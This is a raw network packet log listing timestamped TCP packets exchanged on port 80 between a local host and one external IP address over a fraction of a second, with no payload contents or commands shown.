Dec 17, 2024 10:08:47.233629942 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:47.233751059 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:47.234323025 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:47.234432936 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:47.234638929 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:47.235066891 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:47.235121965 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:47.235685110 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:47.235807896 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:47.235913992 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:47.236037970 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:47.236574888 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:47.236666918 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:47.236862898 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:47.237337112 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:47.237483025 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:47.237588882 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:47.238112926 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:47.238226891 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:47.238500118 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:47.238888025 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:47.238990068 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:47.239412069 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:47.239670992 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:47.239777088 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:47.239866018 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:47.240415096 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:47.240509987 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:47.240684986 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:47.241197109 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:47.241240025 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:47.241297007 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:47.241919994 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:47.242057085 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:47.242150068 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:47.242712021 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:47.242806911 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:47.242979050 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:47.243464947 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:47.243536949 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:47.243582964 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:47.244294882 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:47.244452953 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:47.244508982 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:47.245068073 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:47.245157003 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:47.245206118 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:47.245861053 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:47.245873928 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:47.245923996 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:47.246634007 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:47.246715069 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:47.247149944 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:47.247318983 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:47.247503996 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:47.247550964 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:47.248061895 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:47.248174906 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:47.248313904 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:47.248881102 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:47.248976946 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:47.249027014 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:47.249741077 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:47.249774933 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:47.249825001 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:47.250499964 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:47.250677109 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:47.250808001 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:47.251106977 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:47.251233101 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:47.251276970 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:47.251919985 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:47.251971006 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:47.252015114 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:47.252672911 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:47.252748013 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:47.253062010 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:47.253424883 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:47.253563881 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:47.253670931 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:47.254175901 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:47.254317045 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:47.254407883 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:47.254947901 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:47.255059958 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:47.255163908 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:47.255640030 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:47.297827959 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:47.406896114 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:47.407006979 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:47.407260895 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:47.407330036 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:47.407432079 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:47.407493114 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:47.407567024 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:47.408302069 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:47.408344984 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:47.408360958 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:47.408950090 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:47.408996105 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:47.409033060 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:47.409744978 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:47.409794092 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:47.409867048 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:47.410502911 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:47.410588026 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:47.410607100 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:47.411235094 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:47.411294937 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:47.411340952 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:47.412039995 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:47.412110090 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:47.412127972 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:47.412827015 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:47.412893057 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:47.412918091 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:47.413589954 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:47.413608074 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:47.413636923 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:47.414329052 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:47.414380074 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:47.414446115 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:47.415102959 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:47.415150881 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:47.415188074 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:47.415860891 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:47.415956974 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:47.415973902 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:47.416666031 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:47.416709900 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:47.416773081 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:47.417382002 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:47.417424917 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:47.417512894 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:47.418162107 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:47.418206930 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:47.418231964 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:47.418909073 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:47.418956995 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:47.419118881 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:47.419724941 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:47.419766903 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:47.419806957 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:47.420439959 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:47.420464993 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:47.420480013 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:47.421201944 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:47.421252012 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:47.421283960 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:47.421972990 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:47.422080994 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:47.422096968 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:47.422744989 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:47.422818899 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:47.422931910 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:47.423511982 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:47.423561096 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:47.423716068 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:47.424314976 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:47.424362898 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:47.424377918 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:47.425041914 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:47.425112009 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:47.425143957 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:47.425834894 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:47.425909042 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:47.425915003 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:47.426598072 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:47.426645041 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:47.426681995 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:47.427365065 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:47.427462101 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:47.427669048 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:47.428107977 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:47.428205967 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:47.428256989 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:47.428873062 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:47.428926945 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:47.428989887 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:47.429795027 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:47.429838896 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:47.429852962 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:47.430398941 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:47.430478096 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:47.430507898 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:47.431165934 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:47.431220055 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:47.431288958 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:47.431921959 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:47.431972980 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:47.432018995 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:47.432733059 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:47.432776928 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:47.432781935 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:47.433468103 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:47.433509111 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:47.433548927 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:47.434269905 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:47.434320927 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:47.434425116 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:47.435086012 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:47.435108900 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:47.435193062 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:47.435745001 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:47.435789108 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:47.435915947 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:47.436124086 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:47.436686993 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:47.436774015 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:47.436836958 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:47.437339067 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:47.437431097 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:47.437453032 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:47.438081026 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:47.438124895 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:47.438157082 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:47.438854933 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:47.438935995 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:47.438966990 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:47.439601898 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:47.439646006 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:47.439733982 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:47.440356970 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:47.440402985 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:47.440471888 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:47.442147017 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:47.442198992 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:47.442265987 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:47.442354918 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:47.442365885 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:47.442394972 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:47.442936897 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:47.442981005 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:47.443001032 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:47.443624973 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:47.443669081 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:47.443753004 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:47.444480896 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:47.444552898 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:47.444570065 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:47.445162058 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:47.445174932 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:47.445221901 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:47.445672035 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:47.445849895 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:47.445934057 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:47.445957899 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:47.446482897 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:47.446525097 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:47.446571112 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:47.482202053 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:47.598783016 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:47.598953009 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:47.598997116 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:47.599293947 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:47.599309921 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:47.599363089 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:47.599363089 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:47.599797964 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:47.599842072 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:47.599910975 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:47.600492954 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:47.600534916 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:47.600539923 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:47.601264000 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:47.601321936 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:47.601905107 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:47.602096081 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:47.602118015 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:47.602147102 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:47.602930069 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:47.602971077 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:47.603028059 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:47.603595972 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:47.603607893 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:47.603631973 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:47.604382038 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:47.604471922 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:47.604510069 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:47.605196953 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:47.605216980 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:47.605251074 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:47.605928898 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:47.605987072 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:47.606086969 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:47.606796026 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:47.606811047 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:47.606856108 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:47.607497931 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:47.607537985 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:47.607556105 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:47.608275890 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:47.608318090 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:47.608984947 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:47.608997107 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:47.609014034 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:47.609039068 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:47.609695911 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:47.609733105 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:47.610517025 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:47.611028910 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:47.611043930 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:47.611116886 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:47.611416101 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:47.611701965 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:47.611773014 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:47.612004042 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:47.612040043 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:47.612160921 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:47.612778902 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:47.612816095 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:47.613392115 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:47.613558054 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:47.613591909 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:47.613656998 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:47.615118027 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:47.615211964 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:47.615427971 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:47.615494013 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:47.615505934 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:47.615542889 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:47.615814924 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:47.615858078 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:47.615993023 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:47.616585016 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:47.616611958 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:47.616631031 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:47.617480040 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:47.617520094 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:47.621257067 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:47.621287107 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:47.621304035 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:47.621318102 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:47.621336937 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:47.621350050 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:47.621361017 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:47.621361017 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:47.621365070 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:47.621382952 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:47.621402979 CET	49774	80	192.168.2.6	185.215.113.16
